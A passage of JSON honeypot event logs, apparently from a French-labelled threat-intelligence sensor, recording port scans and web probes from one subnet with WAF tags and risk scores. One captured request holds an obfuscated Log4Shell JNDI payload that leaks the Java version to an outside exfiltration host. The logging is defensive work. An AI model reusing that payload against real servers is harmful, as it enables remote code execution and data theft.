\u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002229e78123b5d6a4f70154ae6e8a496925686a6b3a\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 46\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 36.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 10.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 46, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 36 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950649:query-overlong\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_long_target\u0022, \u0022http_no_ua\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.0","http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022950649:query-overlong\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_long_target\u0022, \u0022http_no_ua\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":4,"bytes_in":4096},{"id":14680748,"ip":"34.19.116.51","ts":"2026-07-31 15:35:53.000000","proto":"tcp","src_port":46798,"dst_port":8087,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022bffc6ea8368887e7cb3af75dc9112d32bf7019d4\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.399326288583574, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8087, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.7, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 57, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022ac25cfe440c12f4ccb2faeb3aa29909fe10b0e2e\u0022, \u0022event_fingerprint\u0022: \u0022f101b5a9d5b093a78295a25d33084634d7d418d5\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022eaf58439a7d0c66a21e9a22ef166d431\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8087, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 57}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022c1a1f8364737e254368ea8b769caaaf7c3f24c3f\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8087, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8087 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228087 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 57, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8087, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8087, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8087 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228087 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +24 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228087\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 4, \u0022port_scan_ports_sample\u0022: [8060, 8085, 8087, 8089], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8087","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14680464,"ip":"34.19.116.51","ts":"2026-07-31 15:35:48.000000","proto":"tcp","src_port":2760,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"PUT","http_target":"\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0dj4:-c}${us9o:auwn:-7}${qn5:-c}${8o6v:-3}${ra:-7}${ct:k9a3:-d}${8:8q57:qm:-3}${vrjt:-3}${ku5a:-2}${trc:re0:7:-1}${p92c:v7e0:-2}${9xbt:-e}${glp:nuv:-d}${5j7g:qu4:cz:-e}${kl:q0s:u1y:-6}${4rl2:-d}${63:o:-6}${nbd:q0f:-0}${eb:o:0kot:-0}${4bwt:fy8:-4}${lk:fc1z:em07:-e}${s86:-a}${jl2h:u:ecj:-7}${v:-3}${5acg:-8}${i0:2lp:0gkp:-1}${q6w8:ce:-5}${2:-3}${j:-3}${n5:jd:8:-8}${2ezk:2oai:x9m:-f}${5:-d}${wz:67ba:l:-9}${83m:8b:-0}${hbo:b6:xel:-e}${59w:o4:-2}${hr:ae:-a}${j:hl:-.}${k4s:-d}${0:-n}${dj:-s}${w7x:--}${v3eb:-e}${ofd:c:-x}${c:-f}${xb:-i}${8t:l2b:-l}${e:aejf:-.}${2:fwd:-m}${fbug:i:-a}${5:3:-s}${ux3:k3c:-m}${u:w:pvd:-c}${pkw:-o}${417s:9p:-r}${1:p:p:-e}${thn6:--}${80:-c}${4:-f}${a:--}${1b:-p}${j:-r}${o9:ept:08j:-o}${p9h:-d}${2l9c:z7u:1:--}${k8:fd:ci:-0}${xyiw:x:-2}${ga:-.}${7jd:eb0:-m}${ayx0:dimo:a6b:-a}${ie:-s}${09:1bpo:-m}${0f7:-.}${pv1:w:-c}${t:-l}${s8yv:te:cr:-o}${95p:di:n:-u}${hma:-d}${6xq:w:-f}${jl6:f:-e}${4l:5:-r}${o:4n9:pk19:-r}${o:qks:aql4:-y}${2:lu:atcx:-.}${eh:-g}${7ogq:eq2o:0im9:-o}${bq:uxa:9ai:-o}${y1c:dq8u:8n57:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${eh:-g}${7ogq:eq2o:0im9:-o}${bq:uxa:9ai:-o}${y1c:dq8u:8n57:-g}}\u0022, \u0022http_ua_hash\u0022: \u0022cb800dd55652ced2cb99b51dca587fddfb233167\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u0022445efddd3a5b614cf5b198374eeec1704787825f\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022PUT\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.785658310630956, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: 